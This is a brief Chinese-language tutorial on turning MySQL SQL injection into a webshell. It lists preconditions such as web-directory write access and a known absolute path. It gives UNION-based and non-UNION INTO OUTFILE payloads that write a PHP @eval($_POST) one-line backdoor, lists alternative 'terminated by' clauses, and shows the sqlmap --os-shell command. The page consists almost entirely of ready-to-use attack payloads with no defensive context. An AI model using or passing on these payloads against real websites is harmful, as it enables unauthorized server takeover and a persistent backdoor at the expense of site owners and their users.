手工

条件

对web目录有写权限
GPC关闭 (能使用单引号)
有绝对路径(读文件可以不用,写文件必须)
没有配置 –secure-file-priv

有union

id=-1’ union select 1,2,’<?php @eval($_POST[“pass”];?>)’ into outfile ‘绝对路径/创建的php文件’
image.png
image.png
image.png

无union

id=-1’ into outfile ‘绝对路径/创建的php文件’ fields terminated by ‘<?php @eval($_POST[“pass”];?>)’
image.png
image.png
image.png
同样的方法还有三种:
lines terminated by
columns terminated by
lines starting by

注意事项

1:union前面要报错,才能执行后面语句
2:一句话里面是双引号,因为eval函数将变量作为命令执行,单引号不解析
3:路径是/或\,不能是\
4:无union getshell需查询多个列才可写入

sqlmap

抓包保存文件,扫描,然后—os-shell输入绝对路径
image.png
python sqlmap.py -r POST\test.txt —os-shell
image.png